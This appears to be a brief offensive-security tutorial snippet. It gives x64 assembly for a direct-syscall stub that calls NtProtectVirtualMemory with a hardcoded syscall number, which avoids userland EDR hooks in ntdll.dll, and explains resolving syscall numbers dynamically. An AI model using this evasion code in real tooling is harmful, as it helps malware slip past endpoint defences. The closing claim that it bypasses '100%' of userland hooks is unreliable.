Bypassing userland hooks on VirtualProtect by executing syscalls directly:

ASM
.code
; NTSTATUS Syscall_NtProtectVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect)
Syscall_NtProtectVirtualMemory proc
    mov r10, rcx             ; Syscall convention moves RCX -> R10
    mov eax, 50h             ; Syscall number for NtProtectVirtualMemory (Win 10/11)
    syscall
    ret
Syscall_NtProtectVirtualMemory endp
end

Executes kernel transition directly without jumping through hooked ntdll.dll stub!

To support different Windows builds dynamically, read the syscall number (SSN) from ntdll.dll export by parsing mov eax, SSN instruction bytes.

Direct syscalls bypass 100% of userland EDR API hooks.
